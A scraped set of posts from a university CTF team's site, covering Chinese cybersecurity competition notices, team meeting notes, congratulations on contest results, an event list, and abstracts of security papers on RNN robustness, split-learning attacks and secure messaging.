+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:https://www.dcic-china.com/competitions/10078
+线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。
+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:暂无
+线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00
+线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。
+【安恒信息】亲爱的参赛选手,您好!您报名的“2023数字中国创新大赛-数字网络安全人才挑战赛”将于2023年3月24日进行,请您按时参加。 +比赛地址:https://szzg2023.dasctf.com +比赛账号:aq#报名的手机号后七位 +比赛密码:Das#手机号后四位,如:Das#1234 +比赛时间:下午13:00-17:00 +注意事项:推荐使用Chrome或火狐浏览器,并设置允许弹出窗口。
+Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+ + + + + + + + ++ ++
各参赛选手及相关单位:
+2022第三届“网鼎杯”网络安全大赛半决赛将于4月14日正式开幕,现将比赛期间日程安排及注意事项通知如下,请务必仔细阅读并严格遵守:
+一、日程安排
+(略)
+二、酒店推荐
+(略)
+1.以上为大赛组委会推荐酒店,请参赛选手依据自身情况自行联系酒店进行预定,联系电话详见上述表格内容。
+2.预定时,报“网鼎杯参赛选手”,可享受协议价格。
+3.赛事活动期间入住需求量较大,酒店房源紧张,请各位参赛选手尽量在4月7日前完成住宿预订。
+4.大赛期间,组委会将在推荐酒店附近安排接驳班车,接送选手往返赛场。
+5.若各参赛选手需要开具发票,请自行与酒店协商。
+注* 其中亲橙客栈只能提供“培训发票”,请各参赛选手留意。
+三、注意事项
+1.请各参赛选手做好个人防护和交通住宿安排,以保证参赛顺利。请各参赛选手提前准备好个人参赛工具(笔记本电脑、有线鼠标、有线键盘、U盘和网口转接器等),以及自己熟悉的参赛环境和常用软件、工具、脚本等。
+2.请各位参赛选手提前准备好签到材料 ,
+详细说明请参见网鼎杯官网(https://www.wangdingcup.com)或网鼎杯官方公众号(公众号名:网鼎杯,公众号ID:wangdingcup)发布的《2022年第三届“网鼎杯”网络安全大赛半决赛、总决赛及颁奖典礼安排通知》中附件一内容。
+3.比赛当天所有参赛选手须携带身份证原件和参赛证前往比赛现场。
+注* 迟到超半小时将被禁止入场。
+4.每位参赛选手在比赛过程中仅允许使用一台笔记本电脑答题,禁止使用服务器等大功率设备。如需使用nuc类迷你主机,每队限制数量不超过1台。
+5.如有其他问题,可拨打组委会工作电话:010-50873883。统一工作时间:工作日10:00至18:00。
+第三届“网鼎杯”网络安全大赛组委会
+2023年4月
++ ++
(见附件)
+The meeting started with a discussion about the upcoming mid-term exams, which many members of the group are preparing for. The group acknowledged that these exams are an important priority and require significant preparation time and effort. Several members expressed concern that they could not attend the training sessions over the weekend due to their exam preparation.
+After some discussion, it was proposed that the group skip training for the upcoming weekend to allow members to focus on their exams. The group discussed the potential impact of missing one training weekend and weighed the decision's pros and cons. Ultimately, it was decided that the benefits of allowing members to fully focus on their exams outweighed the potential negative impact of missing one weekend of training.
+The group agreed that skipping training for the upcoming weekend was the best decision to allow members to focus on their mid-term exams. The decision was made after a thorough discussion and weighing of the potential impact on the group's training goals. The group will continue to monitor the situation and make adjustments as necessary to ensure that they stay on track with their training.
+During the meeting, several topics were discussed, including the arrangements for the Wangding Cup and the second Guangdong Province CTF. It was decided that the group would focus on preparing for these events in the coming weeks.
+Additionally, it was mentioned that there would be a skip in training for the upcoming weekend. This decision was made to allow members of the group to focus on their personal commitments and responsibilities.
+Overall, the meeting was productive and focused on upcoming events and important scheduling decisions.
+ + + + + + + + +I want to thank each and every one of you for taking the time to join us today. Your expertise and commitment to this critical area of our competition are essential to our success. I am confident that together we can address any challenges that come our way and ensure the ongoing security of our team.
+Let's get started and make the most of this opportunity to share knowledge, ideas, and insights.
+Congratulations to the team for achieving an outstanding performance in the Wangding Cup cybersecurity competition! Our team's dedication and hard work have paid off, earning us the 21st place in the Green Dragon Group and the 51st place in the general scoreboard in the semi-final.
+Making it to the semi-finals of such a prestigious competition is an incredible accomplishment, and I am proud of your achievements. Your teamwork, problem-solving skills, and technical expertise have all contributed to this success, and I hope that this experience has been a valuable learning opportunity for all of you.
+As you move forward from this competition, it's important to remember that there is always room for improvement. While you have achieved great success, there are always areas where you can continue to grow and develop. Whether it's through refining your technical skills or strengthening your teamwork and communication, there are many ways to build upon your success and continue to achieve great things in the future.
+I am excited to see where your team goes from here, and I wish you all the best in your future endeavors. Congratulations again on this impressive achievement!
+Congratulations to the winning team of the Guangdong Province University Cybersecurity Competition! The competition was intense, with 502 teams from across the province competing for the top spot, but our team emerged victorious and took home the 1st place trophy.
+The success is a testament to your dedication, hard work, and expertise in the field of cybersecurity. The team's ability to tackle complex challenges and overcome obstacles is truly impressive, and you have set an outstanding example for your peers in the industry.
+I commend the team for your remarkable achievement and wish you continued success in all your future endeavors. Your win is not only a source of pride for your university but also for the entire province. Congratulations again on this amazing accomplishment!
+++QQ Group: 734535934
+
1 2023年第七届“御网杯”信息安全大赛 +2 第七届“强网杯”全国网络安全挑战赛 +3 2023春秋杯春季赛 +4 ISCC2023个人挑战赛 +5 阿里云CTF +6 【春秋云镜】内网极限挑战赛 +7 更多国外赛事关注CTFTIME +8 AntCTF X D^3CTF 2023预热赛 +9 2023DASCTF X SU四月春季挑战赛 +10 “天一永安杯”2023宁波市第六届网络安全大赛 +11 AntCTF X D^3CTF +12 安全精英选拔赛 +13 2023LitCTF&郑州轻工业大学首届新生赛 +14 2023年第七届金砖大赛——网络安全在企业信息管理中的应用 +15 2023第七届金砖大赛——其它比赛 +16 2023年第七届金砖大赛——企业信息系统安全 +17 第十四届蓝桥杯大赛数字科技创新赛—网络安全春秋挑战赛 +18 “盘古石杯”全国电子数据取证大赛 +19 HDCTF2023 海南大学第四届网络安全技能 挑战赛 +20 第四届“长城杯”信息安全铁人三项赛总决赛 +21 数字网络安全人才挑战赛决赛 +22 数据安全产业人才能力挑战赛决赛 +23 第三届红明谷杯网络安全大赛决赛 +24 第六届“强网杯”青少年专项赛决赛 +25 2022年中国工业互联网安全大赛全国总决赛 +26 第三届“祥云杯”网络安全大赛决赛 +27 ctfshow第三届愚人赛 +28 第三届红明谷杯网络安全大赛初赛 +29 2022年第三届“网鼎杯”网络安全大赛决赛 +30 第七届XCTF国际网络攻防联赛总决赛 +31 hxp CTF 2022 +32 2023广东海洋大学第零届信息安全竞赛 +33 PWNHUB内部赛 +34 PWNHUB公开赛 +35 NSSCTF Round#11 +36 picoCTF +37 2023年网络“攻&防”技能大赛暨网安人才评定工程 +38 2022西湖论剑·第六届杭州网络安全技能大赛决赛 +39 2023第六期HWS硬件安全在线冬令营 +40 网络安全平台测试赛
+Based on the discussions in the weekly meeting, it is clear that there are several exciting upcoming events in the near future, all of which offer outstanding prizes. As a result, it is important for all members of the team to stay informed and up-to-date on these events and to prepare accordingly if they plan to participate. Additionally, it may be beneficial for the team to consider other similar events or opportunities in order to continue honing their skills and staying competitive in the field. Overall, it is an exciting time for the team and the field as a whole, and everyone should be encouraged to participate and contribute in any way they can.
+ + + + + + + + +As we gather today for our meeting, I wanted to take a moment to encourage everyone to approach new ideas and challenges with a willingness to learn and improve. We all have room for growth, and by collaborating and sharing our knowledge and experiences, we can inspire one another and propel ourselves to new heights. Let us embrace this opportunity to explore and expand our abilities, and work together towards our common goals.
+五、报名须知
+信息安全作品赛的网上报名起止时间为:2023年4月7日至2023年6月12日24时。
+各高校在收到本参赛通知后,在5月31日前,指定1位老师作为联络人(联络人须为高校领队),负责本校竞赛相关事宜,并在竞赛网站上下载“高校联络教师登记表”(见附件1),按要求填写该老师信息,通过电子邮件发送给组委会秘书处(含电子版和盖章纸质版的扫描件)。
+组委会于6月19日完成信息安全作品赛资格审查,并公布信息安全作品赛参赛名单。于6月25日前,各高校联络人须汇总本校的“高校参赛队汇总表”(见附件2,在竞赛网站上下载),通过电子邮件发送给组委会秘书处(含电子版和盖章纸质版的扫描件)。参加本次信息安全作品赛的队伍需交纳参赛费用(每支参赛队200元)。
+We have some topics, if you are interesting, please join us.
+一、 参赛规则
+(一)报名形式
+采用团队整体报名方式,在报名规定时间内按照报名要求进行报名,每个参赛团队固定队员三个人,可以报名职业组或者学生组。另每个参赛队可以写一名指导教师(学生组)或领队(职业组),每个指导教师(领队)可以带领多支队伍。不允许跨校跨单位组队。
+(二)报名时间
+2023年3月20-4月30日
+(三)竞赛时间
+晋级赛:2023年5月6日 5小时 线上
+总决赛:2023年5月26日 6小时 线下
+(四)报名要求
+通过大赛官网进行报名,如实填写报名信息。
+(五)报名条件
+具有电子数据取证相关职业工作经历的企事业、公检法单位在职人员,从事相关专业工作的高等院校、职业院校(含技工院校,下同)在职人员,以及高等院校、职业院校相关专业全日制在籍学生均可报名参赛。
+注:具有全日制学籍的在校学生不得以职工身份参赛。
+二 、竞赛模式
+本赛项为三人团体赛,分为职业组和学生组两个组别,两个组单独进行评比。
+三 、竞赛细则
+(一)竞赛知识范围
+PC(win、osx)取证分析、Server(win、lin)取证分析、移动终端(dd、tar、备份)取证分析、流量分析(行为、文件分离)、物联网(路由器、无人机)取证分析、应用程序功能分析(动态、静态)、区块链取证分析、可视化分析等。
+(二)竞赛题目类型
+竞赛题目为实际操作题,类型有选择题、填空题。
+(三)竞赛时长
+晋级赛:时长5小时。
+总决赛:时长6小时。
+(四)命题方式
+由大赛组委会组织专家组统一命题。
+(五)考试方式
+采用奇安信盘古石取证培训比武平台。
+晋级赛:线上方式。
+总决赛:线下方式。
+(六)晋级规则
+1.学生组晋级60支队伍、职业组晋级30支队伍。
+2.各院校、单位晋级赛可以报名多支队伍,但不超过2支队伍晋级总决赛。
+四 、评分细则
+(一)成绩计算
+竞赛为得分累加制,不同难度题目分值不同,分值相同以答题时间排名
+(二)评分标准制定原则
+本着“科学严谨、笃近举远”的原则制定评分标准,围绕技能大赛技术裁判组制定的考核标准,依据参赛选手完成的情况实施综合评定,全面评价参赛选手专业能力。
+(三)评分方法
+1.基本评定方法
+裁判组在坚持“公平、公正、公开、科学、规范”的原则下,各负其责,按照制订的评分细则进行评分。
+结果评分:比赛结束后,裁判组根据参赛选手提交的比赛结果进行成绩复核。
+成绩汇总:实操比赛成绩经过加密裁判组解密后与选手理论成绩进行加权计算,确定最终比赛成绩,经总裁判长审核、仲裁组长复核后签字确认。
+2.同分处理
+总分相同时,以完成实操所用时间少的名次在前。
+五 、竞赛平台
+比武平台地址:待公布
+六 、奖项设置
+职业组:
+一等奖:1-5名 (第1名20000元、第2-5名10000元),奖杯、获奖证书
+二等奖:6-15名 获奖证书
+三等奖:16-30名 获奖证书
+学生组:
+一等奖:1-5名 (第1名20000元、第2-5名10000元),奖杯、获奖证书
+二等奖:6-15名 获奖证书
+三等奖:16-30名 获奖证书
+优秀奖:31-60名 获奖证书
+除此之外,将评选优秀指导教师(领队)共10名:5000元奖金、奖杯、获奖证书
+优秀指导教师(领队)评选规则采用积分制度,所带队伍获得三等奖计1分、二等奖计2分、一等奖计3分、特等奖计4分。总分数前10名的指导教师及领队获得该奖项。
+七、 联络信息
+1、联系人:奇安信95015
+2、官方公众号:
+ +3、官方QQ群:
+首届盘古石杯取证赛交流①群:731605363(已满)
+首届盘古石杯取证赛交流②群:748211652(推荐)
+首届盘古石杯取证赛交流③群:748676470(推荐)
+首届盘古石杯取证赛交流④群:753358988(推荐)
+备注:后续再开群将另行通知。
+八 、其他
+本参赛介绍的最终解释权归竞赛组委会。
+为了培养、选拔、推荐数字取证领域科研与工程能力兼备的一流人才,提高参赛人员的创新意识、团队合作精神、取证技术研发水平以及创新实践与综合设计能力,推动数据取证前沿研究与应用技术蓬勃发展。“盘古石杯”全国电子数据取证大赛拟面向学术界、产业界以及政企部门,开设数字取证作品赛赛道,为相关从业人员提供竞技和展示的平台。
+本指南为参赛人员和指导教师如何参与本次大赛作品赛提供具体指导。
+一、参赛及报名
+报名截止日期之前的在校研究生、本科生、专科生、企业成员均可报名参赛,评选不分类别、统一评比。鼓励作品以实际应用为导向,开展前沿研究。
+本赛项采用组队方式参赛,每支参赛队成员不超过4名(包括1名组长)、指导教师不超过2名、参赛单位不超过2个。
+ 注:鼓励跨单位、校企联合组队申报,参赛成员最多来自于2家单位。
+注册:各参赛队伍成员可以通过竞赛网站进行注册(详细参赛步骤见网站)
+报名截止时间:2023.4.30
+参赛作品上传时间:2023.5.1—2023.5.5
+决赛名单公布日期:2023.5.15
+决赛时间:2023.5.26
+二、赛制设置
+本作品赛赛道采用开放式自主命题方式。竞赛分为初赛和决赛,初赛线上提交作品,由组委会组织专家线上评审,决赛采用现场答辩的形式,将于5.26-28日在南京线下举行。
+凡成功报名的参赛队均自动进入初赛,报名截止时间为2023年4月30日,初赛作品提交时间截止为2023年5月5日,各参赛队应在此时间之前完成作品并网上提交,由专家进行评审。
+(1)获得决赛资格后,各参赛队可继续对参赛作品进行完善和修改,但修改不能超过作品总内容的30%,核心思想、主要功能需保持不变。
+(2)获得决赛资格的参赛队伍应在规定时间内参加决赛作品演示及答辩。
+(3)决赛作品演示及答辩。作品PPT介绍(8分钟)、作品演示与专家提问(12分钟)。
+(4)各参赛队应自行携带作品及相关文档,到决赛地点进行演示、答辩。
+初赛评审:组委会组织专家对作品进行线上评审,评审采用双盲匿名方式,每一件作品将至少由3位专家进行评审。专家评审的主要内容包括:作品的原创性与创新性、作品完成程度、作品的性能、作品的应用价值、相关文档的规范性等。依据网络评审结果,排名前50的参赛队伍进入决赛。
+决赛评审:组委会组织评审专家对每个竞赛作品进行现场评审。评审实行分项打分,集体讨论,最终确定参赛作品的获奖等级。专家评审的主要内容包括:作品的原创性与创新性、作品的性能及应用价值、答辩效果、演示效果等。
+三、作品要求
+参赛作品要体现一定的创新性和实用性。
+参赛作品可以是软件、硬件等。参赛作品的内容以数字取证技术与应用设计为主,范围包括但不限于:系统取证、网络安全取证、内容取证、物联网及设备取证、新型电子数据取证等新技术及新领域取证。
+作品可选方向:数字水印、内存取证、设备取证、硬件取证、物联网取证、操作系统取证、云取证、音频取证、视频取证、图像取证、文本取证、反取证、数据复制、加密及解密、隐藏及检测、数据复原、数据截取、数据欺骗、数字签名及时间戳、数据扫描、追踪及溯源、AI取证、区块链取证、场景取证、恶意软件检测、AI模型水印、深度伪造取证、其他。
+所有参赛题目须得到组委会认可后方可参赛。如果参赛队伍所报题目及内容涉及违反赛事精神和章程,组委会有权要求参赛队伍进行修改。本赛事不接受任何与国家有关法律、法规相违背的题目。
+参赛作品应该是参赛队独立设计、开发完成的原创性作品,严禁抄袭、剽窃、一稿多投等行为。凡发现此类行为,将取消参赛队伍的参赛资格,并保留追究相关指导教师及单位责任的权利。
+凡已公开发布并已获得商业价值的产品不得参赛;凡有知识产权纠纷的作品不得参赛;与企业合作即将对外发布的产品不得参赛。
+作品相关文档至少包括如下内容:
+(1)作品设计报告:功能、指标、实现原理、硬件框图、软件流程、系统演示截图等;
+下载作品设计报告模板 提取码: i87b
+(2)演示视频(mp3等):不超过5分钟的演示视频(配相关讲解语音等);
+(3)其他文档:以及除上述规定文档以外的其他作品相关资料等;
+四、成绩计算
+组委会将组织评审专家团对入围初赛作品进行评审,将根据参赛作品的原创性、创新性、功能性、实用性、作品完整性等多个方面进行打分评审。初赛将采用100分制,得分在前50%的作品将入围决赛。
+序号 | +类别 | +评审标准 | +分值 | +
---|---|---|---|
1 | +作品选题及文档规范性 | +建议从作品选题及意义、文档结构、语言表达及逻辑结构、作品特色呈现、测试及对比效果等方面进行评审 | +15 | +
2 | +作品的功能效果 | +建议从作品的需求分析、功能实现、系统完整性等方面进行评审 | +30 | +
3 | +作品的技术实现 | +建议从作品实现流程及框架合理性、方案可行性等方面进行评审 | +30 | +
4 | +作品的创新性和实用性 | +建议从功能完成度、市场应用前景、核心技术的性能指标、竞品分析等方面进行评审 | +25 | +
总 分 | +100 | ++ | + |
进入决赛的作品将需要进行现场答辩和产品演示。评审专家将依据作品的原创性与创新性、作品完成程度、作品的性能、作品的应用价值、相关文档的规范性、产品演示、答辩评分等方面进行综合评判得出。
+五、奖项说明
+1、本届竞赛设一等奖、二等奖和三等奖。
+一等奖:1-5名(第1名20000元、第2-5名10000元),奖杯、获奖证书等奖励;
+二等奖:6-15名,获奖证书;
+三等奖:16-30名,获奖证书;
+2、优秀指导老师10名:5000元奖金、奖杯、获奖证书
+六、指导教师
+1、高校指导教师可以指导学生选题和设计方案的论证,但具体的硬件制作、软件编程、系统调试、作品文档撰写必须由参赛学生独立完成。
+2、指导教师负责把握参赛作品的原创性,并确保其不与国家法律、法规相违背。
+3、组委会将评选优秀指导教师,并予以表彰。
+七、联络信息
+秘书处联系电话:025-58235309;邮箱:df@nuist.edu.cn
+联系人:
+(1)报名咨询:张翔,13133758775
+(2)技术支持:奇安信95015
+(3)专家组支持:王金伟,13851994653;熊礼治,18761698573
+秘书处通信地址:江苏省南京市宁六路219号数字取证教育部工程研究中心,210044
+官方公众号:
+备注:后续再开群将另行通知。
+八、其它
+本参赛介绍的最终解释权归竞赛组委会。
+报名
+任务时间:2023 年 4 月 8 日 00:00 - 2023 年 4 月 23 日 23:59
+请在开赛之前前往【比赛平台】注册账号,每支队伍共用一个账号。赛题范围:Web、Pwnable、Reverse、Crypto、Misc、RealWorld。
+开放注册时间:2023 年 4 月 13 日 09:00 - 2023 年 4 月 28 日 20:00
+比赛时间
+2023 年 4 月 28 日 20:00 - 2023 年 4 月 30 日 20:00
+赛制说明
+线上赛为 Jeopardy CTF,面向全球战队开放,请在开赛前前往我们的比赛平台注册账号。我们将开启反作弊与动态积分系统,检测到作弊行为将被自动封禁,题目分数会随着解出队伍数量的增加而减少。
+比赛奖励
+🏆 冠军:¥50000🥈 亚军:¥30000🥉 季军:¥10000🎁 第四名:¥5000🎁 第五名:¥5000🎁 第六名:¥5000🎁 第七名-第十二名:¥2000
+联系我们
+ +D^3CTF 2023 官方 QQ 群
+ +D^3CTF 2023 官方钉钉交流群
+Telegram:https://t.me/d3ctf
+IRC:#d3ctf (Freenode)
+ + + + + + + + +We're gearing up for the upcoming National Competition. We'll also be providing training sessions to sharpen our skills and stay up-to-date with the latest trends in cybersecurity. To make sure that we're all on the same page and fully prepared, I'll be holding individual meetings with each member of the team. Let's work together to take our cybersecurity expertise to new heights!
+During this chapter of the meeting, we will be discussing how we can improve our hacking skills for fun and for the benefit of our team. We'll go through each member's strengths, weaknesses, and areas of interest to better understand how we can collaborate and tackle various challenges more effectively. We'll discuss techniques, tools, and strategies for hacking and explore avenues for earning more opportunities in the field. Whether you're a seasoned hacker or just starting out, this chapter of the meeting will provide you with valuable insights and ideas for enhancing your skills and contributing to the team's success. We will also share tips and resources for staying motivated and engaged in the exciting world of cybersecurity.
+I will contact you and arrange time for the meeting.
+Before the June, we are going to hold a university competition, that contains both JeoPardy form challenges, and the offline AwD form final round.
+Dear Students,
+
+We are pleased to announce the COMPASS Infosec Game, a university competition about information security that will be held on [date]. The competition's main objective is to invite CTF players from other universities to participate and showcase their skills in cybersecurity.
+
+As a student of SUSTech, we invite you to partake in this exciting competition. We are offering special prizes and commendations to the winning teams. It is a great opportunity to not only challenge your information security skills and knowledge, but also to represent your university and make new connections with like-minded individuals from other universities.
+
+To register, please contact us with your team and member information before [registration deadline]. Once registered, we will provide you with further details about the competition format, timeline, and logistics.
+
+We look forward to seeing you in action and promoting the growth of information security skills.
+
+Best regards, COMPASS CTF
+
+This schedule is under construction.
+比赛链接:https://www.isclab.org.cn/jsrk/
+比赛类型:个人赛
+报名开始:2023-04-30 08:00
+报名截止:2023-05-25 18:00
+比赛开始:2023-05-01 08:00
+比赛结束:2023-05-25 18:00
+其他说明:
+QQ群:751684975
+比赛链接:http://www.neepusec.fun:8090/
+比赛类型:个人赛
+报名开始:2023年5月1日
+报名截止:2023年5月12日
+比赛开始:2023年5月19日 20:00
+比赛结束:2023年5月21日 20:00
+其他说明:
+教务处通知:https://jwc.neepu.edu.cn/info/1014/2513.htm QQ群:700517227
+比赛链接:http://www.ciscn.cn/
+比赛类型:团队赛|1-4人
+报名开始:2023年4月27日
+报名截止:2023年5月25日
+比赛开始:2023年5月27日
+比赛结束:2023年5月28日
+其他说明:
+官方QQ群①:568747643 官方QQ群②:779329249 官方QQ群③:780247795 官方QQ群④:797605821
+比赛链接:http://heidunbei.si.net.cn/hdc/cover
+比赛类型:团队赛|1-3人
+报名开始:2023年5月10日
+报名截止:2023年5月18日
+比赛开始:2023年5月20日线上选拔赛 5月21日线上复赛
+比赛结束:2023年6月2日决赛
+其他说明:
+竞赛官方QQ群566180593
+比赛链接:https://www.nssctf.cn/index
+比赛类型:MISC专项个人赛
+报名开始:2023年5月10日
+报名截止:2023年5月20日
+比赛开始:2023年5月20日10:00
+比赛结束:2023年5月20日
+其他说明:
+QQ群:732339662
+比赛链接:https://www.nssctf.cn/contest
+比赛类型:团队赛|1-4人
+报名开始:无需报名
+报名截止:无需报名
+比赛开始:2023年5月13日10:00
+比赛结束:2023年5月14日17:00
+其他说明:
+QQ群:782400974
+ + + + + + + + +Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.
+Congratulations to COMPASS CTF and its exceptional team members on winning the first-class prize in the semi-final of the National College Computer Security Competition!
+Your remarkable achievement in this highly competitive event highlights your exceptional skills, dedication, and knowledge in the field of computer security. Securing the top spot in such a prestigious competition is a testament to your unwavering commitment to excellence and your ability to outperform other talented teams.
+Your success in the semi-final is a testament to your exceptional problem-solving abilities, critical thinking skills, and deep understanding of computer security concepts. This victory reflects the passion and diligence you have poured into your work, and it signifies your position as leader in this rapidly evolving field.
+May this sensational victory in the semi-final of the National College Computer Security Competition be the first of many remarkable achievements for COMPASS CTF. We are excited to see what the future holds for your talented team. Congratulations once again on this outstanding accomplishment, and best wishes for all your future endeavors!
+The official website grade public
+The national finals will be announced on July 1. The national finals will be held in late July, and we look forward to better results in the finals.
+Congratulations also to our two teams who have entered the preliminary competition and are now in the preliminary judging process. The finalists will be announced on July 26. At present, I have completed the payment and other procedures for the two teams in the competition, and I am waiting for your good news.
+preliminary teams list from the official website
+Reference: 2023 summer recruitment and training schedule
+“华为杯”第二届中国研究生网络安全创新大赛邀请函
+ +Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.
+ + + + + + + + +Authors: Tianyu Du (Zhejiang University); Shouling Ji (Zhejiang University); Lujia Shen (Zhejiang University); Yao Zhang (Zhejiang University); Jinfeng Li (Zhejiang University); Jie Shi (Huawei International, Singapore); Chengfang Fang (Huawei International, Singapore); Jianwei Yin (Zhejiang University); Raheem Beyah (Georgia Institute of Technology); Ting Wang (Pennsylvania State University)
+Keywords: deep learning, recurrent neural networks, robustness certification, natural language processing
+Certifiable robustness, the functionality of verifying whether the given region surrounding a data point admits any adversarial example, provides guaranteed security for neural networks deployed in adversarial environments. A plethora of work has been proposed to certify the robustness of feed-forward networks, e.g., FCNs and CNNs. Yet, most existing methods cannot be directly applied to recurrent neural networks (RNNs), due to their sequential inputs and unique operations. In this paper, we present Cert-RNN, a general framework for certifying the robustness of RNNs. Specifically, through detailed analysis for the intrinsic property of the unique function in different ranges, we exhaustively discuss different cases for the exact formula of bounding planes, based on which we design several precise and efficient abstract transformers for the unique calculations in RNNs. Cert-RNN significantly outperforms the state-of-the-art methods (e.g., POPQORN [25]) in terms of (i) effectiveness – it provides much tighter robustness bounds, and (ii) efficiency – it scales to much more complex models. Through extensive evaluation, we validate Cert-RNN’s superior performance across various network architectures (e.g., vanilla RNN and LSTM) and applications (e.g., image classification, sentiment analysis, toxic comment detection, and malicious URL detection). For instance, for the RNN-2-32 model on the MNIST sequence dataset, the robustness bound certified by Cert-RNN is on average 1.86 times larger than that by POPQORN. Besides certifying the robustness of given RNNs, Cert-RNN also enables a range of practical applications including evaluating the provable effectiveness for various defenses (i.e., the defense with a larger robustness region is considered to be more robust), improving the robustness of RNNs (i.e., incorporating Cert-RNN with verified robust training) and identifying sensitive words (i.e., the word with the smallest certified robustness bound is considered to be the most sensitive word in a sentence), which helps build more robust and interpretable deep learning systems. We will open-source CertRNN for facilitating the DNN security research.
+Present PPT: https://nesa.zju.edu.cn/download/ppt/dty_slides_Cert-RNN.pdf
+PDF: Cert-RNN Towards Certifying the Robustness of Recurrent.pdf
+ + + + + + + + +[Submitted on 4 Dec 2020 (v1), last revised 21 Aug 2021 (this version, v4)]
+Authors: Dario Pasquini, Giuseppe Ateniese, Massimo Bernaschi
+Comments: To appear in the proceedings of: ACM Conference on Computer and Communications Security 2021 (CCS21)
+Subjects: Cryptography and Security (cs.CR); Machine Learning (cs.LG)
+We investigate the security of Split Learning -- a novel collaborative machine learning framework that enables peak performance by requiring minimal resources consumption. In the present paper, we expose vulnerabilities of the protocol and demonstrate its inherent insecurity by introducing general attack strategies targeting the reconstruction of clients' private training sets. More prominently, we show that a malicious server can actively hijack the learning process of the distributed model and bring it into an insecure state that enables inference attacks on clients' data. We implement different adaptations of the attack and test them on various datasets as well as within realistic threat scenarios. We demonstrate that our attack is able to overcome recently proposed defensive techniques aimed at enhancing the security of the split learning protocol. Finally, we also illustrate the protocol's insecurity against malicious clients by extending previously devised attacks for Federated Learning. To make our results reproducible, we made our code available at this https URL.
+GitHub repo: https://github.com/pasquini-dario/SplitNN_FSHA
+PDF: Unleashing the Tiger Inference Attacks on Split Learning.pdf
+ + + + + + + + +Authors: Gabrielle Beck and Julia Len and Ian Miers and Matthew Green
+Category / Keywords: public-key cryptography / privacy, encryption, cryptocurrency
+Original Publication (with major differences): ACM CCS
+Many privacy-preserving protocols employ a primitive that allows a sender to "flag" a message to a recipient's public key, such that only the recipient (who possesses the corresponding secret key) can detect that the message is intended for their use. Examples of such protocols include anonymous messaging, privacy-preserving payments, and anonymous tracing. A limitation of the existing techniques is that recipients cannot easily outsource the detection of messages to a remote server, without revealing to the server the exact set of matching messages. In this work we propose a new class of cryptographic primitives called fuzzy message detection schemes. These schemes allow a recipient to derive a specialized message detection key that can identify correct messages, while also incorrectly identifying non-matching messages with a specific and chosen false positive rate pp. This allows recipients to outsource detection work to an untrustworthy server, without revealing precisely which messages belong to the receiver. We show how to construct these schemes under a variety of assumptions; describe several applications of the new technique; and show that our schemes are efficient enough to use in real applications.
+Authors: Matthew Weidner and Martin Kleppmann and Daniel Hugenroth and Alastair R. Beresford
+Category / Keywords: cryptographic protocols / secure messaging, group messaging, decentralization, forward secrecy, post-compromise security
+Original Publication (with minor differences): ACM CCS 2021
+Secure group messaging protocols, providing end-to-end encryption for group communication, need to handle mobile devices frequently being offline, group members being added or removed, and the possibility of device compromises during long-lived chat sessions. Existing work targets a centralized network model in which all messages are routed through a single server, which is trusted to provide a consistent total order on updates to the group state. In this paper we adapt secure group messaging for decentralized networks that have no central authority. Servers may still optionally be used, but they are trusted less. We define decentralized continuous group key agreement (DCGKA), a new cryptographic primitive encompassing the core of a decentralized secure group messaging protocol; we give a practical construction of a DCGKA protocol and prove its security; and we describe how to construct a full messaging protocol from DCGKA. In the face of device compromise our protocol achieves forward secrecy and post-compromise security. We evaluate the performance of a prototype implementation, and demonstrate that our protocol has practical efficiency.
+GitHub repo: https://github.com/trvedata/key-agreement
+PDF: Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees.pdf
+ + + + + + + + +[Submitted on 12 May 2021 (v1), last revised 21 May 2021 (this version, v2)]
+Authors: Xiaotao Feng (1), Ruoxi Sun (2), Xiaogang Zhu (1), Minhui Xue (2), Sheng Wen (1), Dongxi Liu (3), Surya Nepal (3), Yang Xiang (1) ((1) Swinburne University of Technology, (2) The University of Adelaide, (3) CSIRO Data61)
